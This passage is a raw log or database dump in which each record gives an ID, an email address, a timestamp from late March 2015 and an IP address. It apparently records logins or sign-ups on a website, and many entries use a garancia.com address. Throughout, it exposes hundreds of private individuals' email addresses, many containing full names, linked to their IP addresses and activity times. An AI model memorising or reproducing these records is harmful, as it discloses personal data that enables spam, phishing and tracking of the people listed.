11:56:53;83.203.212.212 +7592;mymymr@hotmail.com;2015-03-28 11:57:14;83.203.212.212 +7593;marmirabelle@gmail.com;2015-03-28 11:57:42;84.100.38.160 +7594;graziella.delbano@neuf.fr;2015-03-28 12:11:55;84.102.231.17 +7595;angelique.peschaud@cneap.fr;2015-03-28 13:15:06;2.5.46.139 +7596;angelique.peschaud@cneap.fr;2015-03-28 13:15:33;2.5.46.139 +7597;angelique.peschaud@cneap.fr;2015-03-28 13:15:44;2.5.46.139 +7598;angelique.peschaud@cneap.fr;2015-03-28 13:16:04;2.5.46.139 +7599;angelique.peschaud@cneap.fr;2015-03-28 13:16:30;2.5.46.139 +7600;angelique.peschaud@cneap.fr;2015-03-28 13:19:17;2.5.46.139 +7601;angelique.peschaud@cneap.fr;2015-03-28 13:20:42;2.5.46.139 +7602;angelique.peschaud@cneap.fr;2015-03-28 13:22:04;2.5.46.139 +7603;new@garancia.com;2015-03-28 13:25:39;78.203.68.246 +7604;sterenn.le-fur@wanadoo.fr;2015-03-28 13:55:28;2.10.175.126 +7605;sterenn.le-fur@wanadoo.fr;2015-03-28 13:55:38;2.10.175.126 +7606;lioneldubuc@sfr.fr;2015-03-28 13:56:43;88.141.157.20 +7607;lioneldubuc@sfr.fr;2015-03-28 13:57:07;88.141.157.20 +7608;christophe-terrassin@wanadoo.fr;2015-03-28 14:06:32;90.38.94.253 +7609;m.aafe@frer.fr;2015-03-28 14:08:59;92.90.21.80 +7610;m.aafe@frer.fr;2015-03-28 14:09:02;92.90.21.80 +7611;m.aafe@freer.fr;2015-03-28 14:09:14;92.90.21.80 +7612;m.aafe@freer.fr;2015-03-28 14:09:17;92.90.21.80 +7613;m.aafe@freer.fr;2015-03-28 14:09:23;92.90.21.80 +7614;m.aafe@freer.fr;2015-03-28 14:09:24;92.90.21.80 +7615;m.aafe@free.fr;2015-03-28 14:09:31;92.90.21.80 +7616;m.aafe@free.fr;2015-03-28 14:09:41;92.90.21.80 +7617;m.aafe@infonie.fr;2015-03-28 14:10:54;92.90.21.80 +7618;m.aafe@infonie.fr;2015-03-28 14:10:56;92.90.21.80 +7619;m.aafe@infonie.fr;2015-03-28 14:11:07;92.90.21.80 +7620;rebeccateboul@hotmail.com;2015-03-28 14:17:42;86.221.5.117 +7621;steph.lapalus@orange.fr;2015-03-28 14:20:32;83.196.227.199 +7622;steph.lapalus@orange.fr;2015-03-28 14:20:39;83.196.227.199 +7623;steph.lapalus@orange.fr;2015-03-28 14:20:49;83.196.227.199 +7624;steph.lapalus@orange.fr;2015-03-28 14:20:57;83.196.227.199 +7625;steph.lapalus@orange.fr;2015-03-28 14:20:58;83.196.227.199 +7626;steph.lapalus@orange.fr;2015-03-28 14:21:35;83.196.227.199 +7627;sylviane.delaforest@orange.fr;2015-03-28 14:31:55;81.251.80.32 +7628;delphine.cabedo1@sfr.fr;2015-03-28 14:39:04;80.12.35.91 +7629;ladecouverte.brose@skynet.be;2015-03-28 14:41:57;81.243.161.82 +7630;steph.lapalus@orange.fr;2015-03-28 14:47:56;83.196.227.199 +7631;maudereiland@yahoo.be;2015-03-28 14:52:02;81.240.111.170 +7632;maudereiland@yahoo.be;2015-03-28 14:52:07;81.240.111.170 +7633;maudereiland@yahoo.be;2015-03-28 14:52:18;81.240.111.170 +7634;maudereiland@yahoo.be;2015-03-28 14:52:21;81.240.111.170 +7635;maudereiland@yahoo.be;2015-03-28 14:52:26;81.240.111.170 +7636;nicole.gallego69@gmail.com;2015-03-28 15:27:06;80.9.175.105 +7637;nicole.gallego69@gmail.com;2015-03-28 15:27:15;80.9.175.105 +7638;anne-marie.dalix@orange.fr;2015-03-28 15:30:39;2.6.249.54 +7639;lea_59600@hotmail.fr;2015-03-28 15:32:40;81.49.55.205 +7640;joel.doutreleau@orange.fr;2015-03-28 15:35:27;92.152.201.70 +7641;thibault-fallait@hotmail.fr;2015-03-28 16:12:38;89.89.108.32 +7642;thibault-fallait@hotmail.fr;2015-03-28 16:12:41;89.89.108.32 +7643;thibault-fallait@hotmail.fr;2015-03-28 16:12:45;89.89.108.32 +7644;thibault-fallait@hotmail.fr;2015-03-28 16:12:47;89.89.108.32 +7645;thibault-fallait@hotmail.fr;2015-03-28 16:12:53;89.89.108.32 +7646;thibault-fallait@hotmail.fr;2015-03-28 16:12:54;89.89.108.32 +7647;thibault-fallait@hotmail.fr;2015-03-28 16:13:02;89.89.108.32 +7648;new@garancia.com;2015-03-28 16:25:43;92.90.26.27 +7649;new@garancia.com;2015-03-28 16:25:53;92.90.26.27 +7650;helene.vincent2a@gmail.com;2015-03-28 16:26:53;92.90.26.27 +7651;helene.vincent2a@gmail.com;2015-03-28 16:26:56;92.90.26.27 +7652;new@garancia.com;2015-03-28 16:29:45;92.90.26.27 +7653;new@garancia.com;2015-03-28 16:29:46;92.90.26.27 +7654;new@garancia.com;2015-03-28 16:29:48;92.90.26.27 +7655;new@garancia.com;2015-03-28 16:30:02;92.90.26.27 +7656;foucault.marie0060@orange.fr;2015-03-28 16:32:53;85.169.37.96 +7657;nellydlg.ng@gmail.com;2015-03-28 16:33:53;92.90.17.65 +7658;new@garancia.com;2015-03-28 16:34:01;92.90.17.65 +7659;nellydlg.ng@gmail.com;2015-03-28 16:34:05;92.90.17.65 +7660;new@garancia.com;2015-03-28 16:34:07;92.90.17.65 +7661;lenaic5635@gmail.com;2015-03-28 16:35:44;92.90.26.27 +7662;new@garancia.com;2015-03-28 16:35:48;92.90.26.27 +7663;new@garancia.com;2015-03-28 16:36:10;92.90.17.65 +7664;new@garancia.com;2015-03-28 16:36:13;92.90.17.65 +7665;new@garancia.com;2015-03-28 16:36:35;92.90.26.27 +7666;lenaic5635@gmail.com;2015-03-28 16:38:05;92.90.26.27 +7667;hermitant.celine@wanadoo.fr;2015-03-28 16:38:18;78.242.243.167 +7668;hermitant.celine@wanadoo.fr;2015-03-28 16:38:20;78.242.243.167 +7669;hermitant.celine@wanadoo.fr;2015-03-28 16:38:25;78.242.243.167 +7670;hermitant.celine@wanadoo.fr;2015-03-28 16:38:28;78.242.243.167 +7671;hermitant.celine@wanadoo.fr;2015-03-28 16:38:36;78.242.243.167 +7672;hermitant.celine@wanadoo.fr;2015-03-28 16:38:44;78.242.243.167 +7673;annelaure.saintpol@gmail.com;2015-03-28 16:38:53;84.103.47.27 +7674;annelaure.saintpol@gmail.com;2015-03-28 16:38:59;84.103.47.27 +7675;annelaure.saintpol@gmail.com;2015-03-28 16:39:12;84.103.47.27 +7676;hermitant.celine@wanadoo.fr;2015-03-28 16:39:35;78.242.243.167 +7677;jocelyne-brechet@orange.fr;2015-03-28 16:40:51;92.148.245.152 +7678;daniel.baro@wanadoo.fr;2015-03-28 17:09:03;83.194.233.144 +7679;lenaic5635@gmail.com;2015-03-28 17:13:54;92.90.26.27 +7680;lenaic5635@gmail.com;2015-03-28 17:13:56;92.90.26.27 +7681;lenaic5635@gmail.com;2015-03-28 17:15:51;92.90.26.27 +7682;laurent.louis11@wanadoo.fr;2015-03-28 17:38:42;90.6.188.109 +7683;antony.blanc@orange.fr;2015-03-28 17:42:07;86.211.87.12 +7684;matila4@aliceadsl.fr;2015-03-28 17:46:25;83.154.68.139 +7685;anna.de.vita@hotmail.fr;2015-03-28 17:47:41;88.183.89.182 +7686;melissandre.chambard@hotmail.fr;2015-03-28 17:52:03;37.160.245.242 +7687;valerie.boumal@gmail.com;2015-03-28 17:53:01;87.67.71.42 +7688;valerie.boumal@gmail.com;2015-03-28 17:53:05;87.67.71.42 +7689;valerie.boumal@gmail.com;2015-03-28 17:53:15;87.67.71.42 +7690;muriel.souchay06@orange.fr;2015-03-28 17:56:08;80.14.195.222 +7691;muriel.souchay06@orange.fr;2015-03-28 17:56:09;80.14.195.222 +7692;pharmacie.bigaud@offisecure.com;2015-03-28 18:05:25;90.24.3.253 +7693;joel.doutreleau@orange.fr;2015-03-28 18:05:45;92.152.201.70 +7694;joel.doutreleau@orange.fr;2015-03-28 18:07:59;92.152.201.70 +7695;figant@orange.fr;2015-03-28 18:11:33;109.20.190.33 +7696;figant@orange.fr;2015-03-28 18:11:41;109.20.190.33 +7697;figant@orange.fr;2015-03-28 18:11:54;109.20.190.33 +7698;sandrineestrade@orange.fr;2015-03-28 18:16:40;109.215.131.153 +7699;celine.frison@yahoo.fr;2015-03-28 18:21:19;93.203.211.189 +7700;mlle-la.la@hotmail.fr;2015-03-28 18:34:40;92.95.51.184 +7701;mlle-la.la@hotmail.fr;2015-03-28 18:34:43;92.95.51.184 +7702;mlle-la.la@hotmail.fr;2015-03-28 18:34:47;92.95.51.184 +7703;mlle-la.la@hotmail.fr;2015-03-28 18:35:00;92.95.51.184 +7704;cocoouseau@hotmail.fr;2015-03-28 18:55:35;79.91.82.55 +7705;t-juge@hotmail.com;2015-03-28 19:00:44;90.27.112.133 +7706;haudiquetphilippe@orange.fr;2015-03-28 19:08:11;2.5.248.27 +7707;i.gallerne@laposte.net;2015-03-28 19:10:38;2.2.46.48 +7708;betty.geslin@gmail.com;2015-03-28 19:16:15;78.212.196.154 +7709;angela.schneiter@gmail.com;2015-03-28 19:20:07;85.3.199.181 +7710;direction@alsatronic.fr;2015-03-28 19:38:40;62.241.89.150 +7711;justine.vesselle@orange.fr;2015-03-28 19:50:33;90.47.172.44 +7712;justine.vesselle@orange.fr;2015-03-28 19:50:35;90.47.172.44 +7713;justine.vesselle@orange.fr;2015-03-28 19:50:39;90.47.172.44 +7714;famillegabourdu59@hotmail.fr;2015-03-28 20:17:29;176.148.161.215 +7715;ninette26@gmail.com;2015-03-28 20:30:27;95.138.53.215 +7716;claudine.vergely@live.fr;2015-03-28 20:34:32;92.149.150.52 +7717;isabelle.godet@hotmail.fr;2015-03-28 20:44:25;90.32.24.59 +7718;lea.t@hotmail.fr;2015-03-28 20:52:19;66.249.93.165 +7719;lea.t@hotmail.fr;2015-03-28 20:52:22;66.249.93.173 +7720;izl@hotmail.fr;2015-03-28 20:58:12;31.34.209.59 +7721;richard.anne@dartybox.com;2015-03-28 21:01:13;89.224.11.81 +7722;richard.anne@dartybox.com;2015-03-28 21:01:21;89.224.11.81 +7723;richard.anne@dartybox.com;2015-03-28 21:01:23;89.224.11.81 +7724;richard.anne@dartybox.com;2015-03-28 21:01:25;89.224.11.81 +7725;s-jy-berger@orange.fr;2015-03-28 21:04:23;86.235.108.42 +7726;new@garancia.com;2015-03-28 21:27:51;78.209.93.49 +7727;new@garancia.com;2015-03-28 21:27:53;78.209.93.49 +7728;new@garancia.com;2015-03-28 21:27:57;78.209.93.49 +7729;mariaserra1@voila.fr;2015-03-28 21:29:08;109.22.77.121 +7730;corinnecotte@free.fr;2015-03-28 21:30:12;78.209.93.49 +7731;new@garancia.com;2015-03-28 21:30:52;78.209.93.49 +7732;new@garancia.com;2015-03-28 21:31:11;78.209.93.49 +7733;new@garancia.com;2015-03-28 21:31:12;78.209.93.49 +7734;new@garancia.com;2015-03-28 21:31:13;78.209.93.49 +7735;new@garancia.com;2015-03-28 21:31:13;78.209.93.49 +7736;new@garancia.com;2015-03-28 21:31:14;78.209.93.49 +7737;sophie.Reuter2013@gmail.com;2015-03-28 21:32:30;212.233.57.93 +7738;sandrasantos74@sfr.fr;2015-03-28 21:46:03;109.223.57.228 +7739;lachlaz@hotmail.fr;2015-03-28 21:48:18;31.37.2.231 +7740;lachlaz@hotmail.fr;2015-03-28 21:48:25;31.37.2.231 +7741;new@garancia.com;2015-03-28 22:00:01;176.127.162.129 +7742;new@garancia.com;2015-03-28 22:00:05;176.127.162.129 +7743;fannscoiff@hotmail.fr;2015-03-28 22:03:42;86.221.142.156 +7744;new@garancia.com;2015-03-28 22:11:02;176.127.162.129 +7745;new@garancia.com;2015-03-28 22:11:10;176.127.162.129 +7746;new@garancia.com;2015-03-28 22:11:14;176.127.162.129 +7747;new@garancia.com;2015-03-28 22:11:15;176.127.162.129 +7748;new@garancia.com;2015-03-28 22:11:17;176.127.162.129 +7749;new@garancia.com;2015-03-28 22:11:18;176.127.162.129 +7750;bertrand.ardura@orange.fr;2015-03-28 22:11:26;109.223.58.47 +7751;new@garancia.com;2015-03-28 22:14:43;176.127.162.129 +7752;new@garancia.com;2015-03-28 22:14:49;176.127.162.129 +7753;new@garancia.com;2015-03-28 22:15:04;176.127.162.129 +7754;new@garancia.com;2015-03-28 22:25:35;176.127.162.129 +7755;new@garancia.com;2015-03-28 22:25:40;176.127.162.129 +7756;new@garancia.com;2015-03-28 22:25:53;176.127.162.129 +7757;new@garancia.com;2015-03-28 22:56:04;176.127.162.129 +7758;new@garancia.com;2015-03-28 22:56:06;176.127.162.129 +7759;mc@free.fr;2015-03-28 23:05:41;82.225.211.57 +7760;aurorebaudhuin@hotmail.com;2015-03-28 23:29:23;80.200.193.158 +7761;aurorebaudhuin@hotmail.com;2015-03-28 23:29:29;80.200.193.158 +7762;aurorebaudhuin@hotmail.com;2015-03-28 23:29:38;80.200.193.158 +7763;aurorebaudhuin@hotmail.com;2015-03-28 23:29:57;80.200.193.158 +7764;aurorebaudhuin@hotmail.com;2015-03-28 23:30:05;80.200.193.158 +7765;aurorebaudhuin@hotmail.com;2015-03-28 23:30:22;80.200.193.158 +7766;tipanie@orange.fr;2015-03-28 23:37:11;92.153.208.124 +7767;tipanie@orange.fr;2015-03-28 23:37:17;92.153.208.124 +7768;sdellac@gmail.com;2015-03-29 00:07:57;86.217.101.107 +7769;mavergues@gmail.com;2015-03-29 00:10:02;88.185.163.65 +7770;marianne.mendez@live.fr;2015-03-29 06:30:20;93.176.1.85 +7771;marianne.mendez@live.fr;2015-03-29 06:39:13;93.176.1.85 +7772;marianne.mendez@live.fr;2015-03-29 06:39:32;93.176.1.85 +7773;marianne.mendez@live.fr;2015-03-29 06:39:41;93.176.1.85 +7774;bougy56@hotmail.fr;2015-03-29 06:58:49;92.90.26.87 +7775;bougy56@hotmail.fr;2015-03-29 06:58:53;92.90.26.87 +7776;bougy56@hotmail.fr;2015-03-29 07:00:32;92.90.26.87 +7777;bougy56@hotmail.fr;2015-03-29 07:01:09;92.90.26.87 +7778;bougy56@hotmail.fr;2015-03-29 07:01:12;92.90.26.87 +7779;bougy56@hotmail.fr;2015-03-29 07:01:57;92.90.26.87 +7780;bimal1963@gmail.com;2015-03-29 08:38:56;14.102.40.104 +7781;bimal1963@gmail.com;2015-03-29 08:38:58;14.102.40.104 +7782;bimal1963@gmail.com;2015-03-29 08:38:58;14.102.40.104 +7783;bimal1963@gmail.com;2015-03-29 08:38:58;14.102.40.104 +7784;bimal1963@gmail.com;2015-03-29 08:39:41;14.102.40.104 +7785;bimal1963@gmail.com;2015-03-29 08:39:42;14.102.40.104 +7786;christine.tissier00@orange.fr;2015-03-29 08:59:25;90.43.38.124 +7787;mariepierrerostang@cegetel.net;2015-03-29 09:17:46;80.119.220.161 +7788;natdidier2@wanadoo.fr;2015-03-29 09:25:16;88.178.123.35 +7789;natdidier2@wanadoo.fr;2015-03-29 09:25:22;88.178.123.35 +7790;jacquline.roguet@sfr.fr;2015-03-29 09:35:55;86.76.77.121 +7791;laeticelo@gmail.com;2015-03-29 09:50:45;78.230.96.174 +7792;laurent.euvrard@bbox.fr;2015-03-29 10:02:24;176.188.103.128 +7793;justhi@free.fr;2015-03-29 10:08:53;92.91.235.57 +7794;lumathy@gmail.com;2015-03-29 10:10:51;82.226.200.122 +7795;lumathy@gmail.com;2015-03-29 10:11:01;82.226.200.122 +7796;lumathy@gmail.com;2015-03-29 10:11:26;82.226.200.122 +7797;nadine.follin@icloud.com;2015-03-29 10:23:32;90.22.233.85 +7798;nadine.follin@icloud.com;2015-03-29 10:23:42;90.22.233.85 +7799;nadine.follin@icloud.fr;2015-03-29 10:24:39;90.22.233.85 +7800;evaetjuliegranier@gmail.com;2015-03-29 10:26:56;213.138.23.37 +7801;hut_3@hotmail.com;2015-03-29 10:37:33;91.176.32.151 +7802;hut_3@hotmail.com;2015-03-29 10:37:40;91.176.32.151 +7803;hut_3@hotmail.com;2015-03-29 10:37:43;91.176.32.151 +7804;hut_3@hotmail.com;2015-03-29 10:37:50;91.176.32.151 +7805;clauclaudy.dk@gmail.com;2015-03-29 10:57:25;82.241.164.32 +7806;lavoix.lourmet@wanadoo.fr;2015-03-29 11:22:25;90.5.203.115 +7807;lavoix.lourmet@wanadoo.fr;2015-03-29 11:22:59;90.5.203.115 +7808;loojn@gmail.com;2015-03-29 11:31:07;83.156.132.126 +7809;loojn@gmail.com;2015-03-29 11:31:09;83.156.132.126 +7810;sabine.barnabe30@orange.fr;2015-03-29 11:35:13;90.37.170.187 +7811;denise.wender@orange.fr;2015-03-29 11:39:21;109.221.169.175 +7812;stephane.tenfour@orange.fr;2015-03-29 11:42:18;90.11.153.132 +7813;fdiawara329@gmail.com;2015-03-29 11:54:45;78.233.24.101 +7814;lolo.sam@sfr.fr;2015-03-29 12:08:13;79.81.120.237 +7815;lolo.sam@sfr.fr;2015-03-29 12:08:17;79.81.120.237 +7816;lefebvrevincent@numericable.fr;2015-03-29 12:27:46;85.68.117.198 +7817;cecilematoub@yahoo.fr;2015-03-29 12:35:41;109.17.60.169 +7818;cecilematoub@yahoo.fr;2015-03-29 12:35:55;109.17.60.169 +7819;cecilematoub@yahoo.fr;2015-03-29 12:36:02;109.17.60.169 +7820;davsanddesjardins@gmail.com;2015-03-29 12:38:35;92.155.243.76 +7821;corinesauvage@sfr.fr;2015-03-29 12:45:29;78.230.8.123 +7822;dmarill@sfr.fr;2015-03-29 13:06:27;91.69.243.243 +7823;anne.ollier@hotmail.fr;2015-03-29 13:16:24;2.4.209.96 +7824;dabhe@live.fr;2015-03-29 13:28:59;92.92.74.2 +7825;nathalie.montois@hotmail.fr;2015-03-29 13:47:36;194.154.216.89 +7826;nathalie.montois@hotmail.fr;2015-03-29 13:47:41;194.154.216.89 +7827;nathalie.montois@hotmail.fr;2015-03-29 13:47:44;194.154.216.89 +7828;nathalie.montois@hotmail.fr;2015-03-29 13:48:06;194.154.216.89 +7829;new@garancia.com;2015-03-29 13:52:49;194.154.216.89 +7830;new@garancia.com;2015-03-29 13:52:53;194.154.216.89 +7831;sylviehellier@gmail.com;2015-03-29 14:18:52;78.229.204.170 +7832;gunita_g@tvnet.lv;2015-03-29 14:26:32;80.215.225.75 +7833;gunita_g@tvnet.lv;2015-03-29 14:26:36;80.215.225.75 +7834;gunita_g@tvnet.lv;2015-03-29 14:26:47;80.215.225.75 +7835;isa.martinache@wanadoo.fr;2015-03-29 14:30:51;109.219.120.146 +7836;corrinne4ma@gmail.com;2015-03-29 14:37:40;90.33.9.112 +7837;n.fr@wanadoo.fr;2015-03-29 14:43:09;88.180.44.47 +7838;n.fr@wanadoo.fr;2015-03-29 14:43:17;88.180.44.47 +7839;n.fr@wanadoo.fr;2015-03-29 14:44:08;88.180.44.47 +7840;n.fr@wanadoo.fr;2015-03-29 14:44:09;88.180.44.47 +7841;mercierllop@orange.fr;2015-03-29 14:53:35;109.214.35.60 +7842;amrohri@orange.fr;2015-03-29 14:56:47;92.128.41.216 +7843;augustaniederauerphd@yahoo.com;2015-03-29 14:57:00;217.246.50.182 +7844;cabannescathy@orange.fr;2015-03-29 15:06:08;92.136.117.60 +7845;pichon33700@hotmail.fr;2015-03-29 15:25:34;5.50.23.56 +7846;michele420@hotmail.fr;2015-03-29 15:34:10;109.212.174.183 +7847;n.fr@wanadoo.fr;2015-03-29 15:42:55;88.180.44.47 +7848;n.fr@wanadoo.fr;2015-03-29 15:43:23;88.180.44.47 +7849;lallemand.family@orange.fr;2015-03-29 15:45:38;90.55.43.138 +7850;gaelleropers@orange.com;2015-03-29 15:55:18;83.199.184.176 +7851;lucia_motoroiu@fastwebnet.it;2015-03-29 16:17:34;93.34.87.44 +7852;veroniqueminet@orange.fr;2015-03-29 16:17:35;82.255.0.27 +7853;veroniqueminet@orange.fr;2015-03-29 16:18:15;82.255.0.27 +7854;veroniqueminet@orange.fr;2015-03-29 16:18:28;82.255.0.27 +7855;s150052@dessange-international.com;2015-03-29 16:19:48;82.255.0.27 +7856;amanrich@sfr.fr;2015-03-29 16:21:33;78.125.103.168 +7857;s150052@dessange-international.com;2015-03-29 16:21:56;82.255.0.27 +7858;veroniqueminet@orange.fr;2015-03-29 16:23:27;82.255.0.27 +7859;riquet.valerie@orange.fr;2015-03-29 16:45:28;90.23.239.130 +7860;riquet.valerie@orange.fr;2015-03-29 16:45:35;90.23.239.130 +7861;riquet.valerie@orange.fr;2015-03-29 16:45:44;90.23.239.130 +7862;riquet.valerie@orange.fr;2015-03-29 16:46:13;90.23.239.130 +7863;laurencecourtet@icloud.com;2015-03-29 16:51:21;80.215.198.75 +7864;laurencecourtet@icloud.com;2015-03-29 16:51:26;80.215.198.75 +7865;laurencecourtet@icloud.com;2015-03-29 16:51:32;80.215.198.75 +7866;janeturner@me.com;2015-03-29 16:52:38;78.230.101.26 +7867;leticia.vernhes@orange.fr;2015-03-29 16:59:02;80.12.43.25 +7868;leticia.vernhes@orange.fr;2015-03-29 16:59:11;80.12.43.25 +7869;leticia.vernhes@orange.fr;2015-03-29 16:59:34;80.12.43.25 +7870;leticia.vernhes@orange.fr;2015-03-29 16:59:54;80.12.43.25 +7871;david.leveaux@free.fr;2015-03-29 17:00:23;80.12.43.25 +7872;mpchem51@gmail.com;2015-03-29 17:03:07;83.205.0.46 +7873;actionpharma@orange.fr;2015-03-29 17:03:58;82.238.224.95 +7874;actionpharma@orange.fr;2015-03-29 17:04:26;82.238.224.95 +7875;actionpharma@orange.fr;2015-03-29 17:04:31;82.238.224.95 +7876;josianesoulier0390@orange.fr;2015-03-29 17:11:14;88.170.140.122 +7877;solenebigot@yahoo.fr;2015-03-29 17:21:24;66.249.93.169 +7878;solenebigot@yahoo.fr;2015-03-29 17:21:28;66.249.93.169 +7879;solenebigot@yahoo.fr;2015-03-29 17:21:31;66.249.93.173 +7880;yangkai58@gmail.com;2015-03-29 17:35:35;82.243.29.215 +7881;yangkai58@gmail.com;2015-03-29 17:37:37;82.243.29.215 +7882;delhotalval@gmail.com;2015-03-29 17:41:23;37.163.212.110 +7883;delhotalval@gmail.com;2015-03-29 17:41:26;37.163.212.110 +7884;delhotalval@gmail.com;2015-03-29 17:41:29;37.163.212.110 +7885;delhotalval@gmail.com;2015-03-29 17:41:31;37.163.212.110 +7886;delhotalval@gmail.com;2015-03-29 17:41:45;37.163.212.110 +7887;jones.lesley@free.fr;2015-03-29 17:46:50;31.39.61.78 +7888;jones.lesley@free.fr;2015-03-29 17:46:54;31.39.61.78 +7889;jones.lesley@free.fr;2015-03-29 17:46:59;31.39.61.78 +7890;jones.lesley@free.fr;2015-03-29 17:47:00;31.39.61.78 +7891;jones.lesley@free.fr;2015-03-29 17:47:01;31.39.61.78 +7892;jones.lesley@free.fr;2015-03-29 17:47:34;31.39.61.78 +7893;jones.lesley@free.fr;2015-03-29 17:47:35;31.39.61.78 +7894;new@garancia.com;2015-03-29 17:51:49;92.143.125.81 +7895;new@garancia.com;2015-03-29 17:51:51;92.143.125.81 +7896;zebulonia@free.fr;2015-03-29 17:52:30;82.233.205.213 +7897;zebulonia@free.fr;2015-03-29 17:52:44;82.233.205.213 +7898;zebulonia@free.fr;2015-03-29 17:52:44;82.233.205.213 +7899;yangkai58@gmail.com;2015-03-29 17:55:14;82.243.29.215 +7900;and_giie@live.fr;2015-03-29 17:58:16;83.196.143.238 +7901;yangkai58@gmail.com;2015-03-29 17:59:47;82.243.29.215 +7902;amparo-3434@hotmail.fr;2015-03-29 18:00:34;78.228.47.55 +7903;h.jeandreau@wanadoo.fr;2015-03-29 18:07:47;80.12.35.49 +7904;pink_lady_29@hotmail.com;2015-03-29 18:07:57;82.226.76.110 +7905;h.jeandreau@wanadoo.fr;2015-03-29 18:07:57;80.12.35.49 +7906;h.jeandreau@wanadoo.fr;2015-03-29 18:08:09;80.12.35.49 +7907;h.jeandreau@wanadoo.fr;2015-03-29 18:08:17;80.12.35.49 +7908;feelili60240@gmail.com;2015-03-29 18:11:57;92.152.179.219 +7909;sophrologie.fm@gmail.com;2015-03-29 18:12:06;193.56.243.20 +7910;feelili60240@gmail.com;2015-03-29 18:12:09;92.152.179.219 +7911;feelili60240@gmail.com;2015-03-29 18:12:14;92.152.179.219 +7912;sophrologie.fm@gmail.com;2015-03-29 18:12:22;193.56.243.20 +7913;amaria.dasilva4@gmail.com;2015-03-29 19:26:15;89.153.171.229 +7914;beretcec@orange.fr;2015-03-29 19:28:25;90.37.185.209 +7915;beretcec@orange.fr;2015-03-29 19:28:35;90.37.185.209 +7916;beretcec@orange.fr;2015-03-29 19:28:55;90.37.185.209 +7917;christine.pegorier@yahoo.fr;2015-03-29 19:43:07;87.91.77.173 +7918;clementine.grisoni@laposte.net;2015-03-29 20:01:38;80.215.193.136 +7919;mjm.faugier@orange.fr;2015-03-29 20:06:15;79.86.198.58 +7920;sylvie.berthie@bbox.fr;2015-03-29 20:22:03;176.180.139.234 +7921;claire.lambourg@wanadoo.fr;2015-03-29 20:24:46;2.2.214.124 +7922;maria_soarespinto@yahoo.fr;2015-03-29 20:26:04;90.33.153.30 +7923;maria_soarespinto@yahoo.fr;2015-03-29 20:26:19;90.33.153.30 +7924;maria_soarespinto@yahoo.fr;2015-03-29 20:27:00;90.33.153.30 +7925;guittetjabbour@hotmail.com;2015-03-29 20:36:13;2.6.243.154 +7926;noelle@vignonmusic.fr;2015-03-29 20:40:58;93.25.128.81 +7927;benedictemougeot@orange.fr;2015-03-29 20:42:43;90.96.89.159 +7928;benedictemougeot@orange.fr;2015-03-29 20:42:51;90.96.89.159 +7929;benedictemougeot@orange.fr;2015-03-29 20:42:51;90.96.89.159 +7930;benedictemougeot@orange.fr;2015-03-29 20:42:56;90.96.89.159 +7931;benedictemougeot@orange.fr;2015-03-29 20:43:04;90.96.89.159 +7932;benedictemougeot@orange.fr;2015-03-29 20:43:06;90.96.89.159 +7933;freedom_cha@hotmail.com;2015-03-29 20:53:20;109.211.242.68 +7934;freedom_cha@hotmail.com;2015-03-29 20:53:27;109.211.242.68 +7935;freedom_cha@hotmail.com;2015-03-29 20:53:38;109.211.242.68 +7936;celolou974@hotmail.com;2015-03-29 21:00:47;90.62.0.199 +7937;celolou974@hotmail.com;2015-03-29 21:00:59;90.62.0.199 +7938;sodespontin@yahoo.fr;2015-03-29 21:01:20;87.65.147.224 +7939;sodespontin@yahoo.fr;2015-03-29 21:01:24;87.65.147.224 +7940;yorks@hotmail.fr;2015-03-29 21:11:59;78.233.39.3 +7941;yorks@hotmail.fr;2015-03-29 21:12:08;78.233.39.3 +7942;j.bordeau@stratecollege.fr;2015-03-29 21:33:53;93.1.225.106 +7943;j.bordeau@stratecollege.fr;2015-03-29 21:33:58;93.1.225.106 +7944;bdemuicy@gmail.com;2015-03-29 21:50:03;82.232.126.66 +7945;bdemuicy@gmail.com;2015-03-29 21:50:21;82.232.126.66 +7946;bdemuicy@gmail.com;2015-03-29 21:50:23;82.232.126.66 +7947;pereirasonia@laposte.net;2015-03-29 21:56:27;90.56.69.114 +7948;pereirasonia@laposte.net;2015-03-29 21:56:33;90.56.69.114 +7949;pereirasonia@laposte.net;2015-03-29 21:56:42;90.56.69.114 +7950;anne-marie.mas@club-internet.fr;2015-03-29 22:01:45;78.236.46.176 +7951;cecilia.08@hotmail.fr;2015-03-29 22:17:48;80.215.162.168 +7952;cecilia.08@hotmail.fr;2015-03-29 22:17:54;80.215.162.168 +7953;laetitiamur@hotmail.fr;2015-03-29 22:21:11;90.45.52.7 +7954;laetitiamur@hotmail.fr;2015-03-29 22:21:14;90.45.52.7 +7955;laetitiamur@hotmail.fr;2015-03-29 22:21:25;90.45.52.7 +7956;adele.59@live.fr;2015-03-29 22:23:05;92.147.150.191 +7957;adele.59@live.fr;2015-03-29 22:23:09;92.147.150.191 +7958;adele.59@live.fr;2015-03-29 22:23:14;92.147.150.191 +7959;ni_xu@yahoo.com;2015-03-29 22:23:24;128.79.222.108 +7960;ni_xu@yahoo.com;2015-03-29 22:24:09;128.79.222.108 +7961;new@garancia.com;2015-03-29 22:27:36;92.147.150.191 +7962;new@garancia.com;2015-03-29 22:27:41;92.147.150.191 +7963;adele.59@live.fr;2015-03-29 22:28:01;92.147.150.191 +7964;nathalie.ollivier@orange.fr;2015-03-29 22:42:19;92.144.122.21 +7965;nathalie.ollivier@orange.fr;2015-03-29 22:42:23;92.144.122.21 +7966;nathalie.ollivier@orange.fr;2015-03-29 22:42:41;92.144.122.21 +7967;nathalie.ollivier@orange.fr;2015-03-29 22:42:42;92.144.122.21 +7968;mafaldaferreira99@hotmail.com;2015-03-29 22:59:52;82.243.105.158 +7969;biggimiche@wanadoo.fr;2015-03-29 23:30:29;109.221.118.51 +7970;sandrine-ginet@orange.fr;2015-03-29 23:31:59;83.204.150.189 +7971;sandrine-ginet@orange.fr;2015-03-29 23:32:03;83.204.150.189 +7972;sandrine-ginet@orange.fr;2015-03-29 23:32:09;83.204.150.189 +7973;sandrine-ginet@orange.fr;2015-03-29 23:32:15;83.204.150.189 +7974;laurencerichard2106@gmail.com;2015-03-29 23:45:54;88.168.101.155 +7975;new@garancia.com;2015-03-29 23:46:20;176.127.162.129 +7976;new@garancia.com;2015-03-29 23:46:30;176.127.162.129 +7977;nmarcolini@free.fr;2015-03-30 00:06:03;78.215.81.76 +7978;nmarcolini@free.fr;2015-03-30 00:06:07;78.215.81.76 +7979;new@garancia.com;2015-03-30 00:45:31;83.205.20.181 +7980;new@garancia.com;2015-03-30 00:45:35;83.205.20.181 +7981;sonia.fredoc@wanadoo.fr;2015-03-30 04:47:06;83.203.185.64 +7982;nurdanorhn@gmail.com;2015-03-30 07:28:29;80.218.39.28 +7983;nurdanorhn@gmail.com;2015-03-30 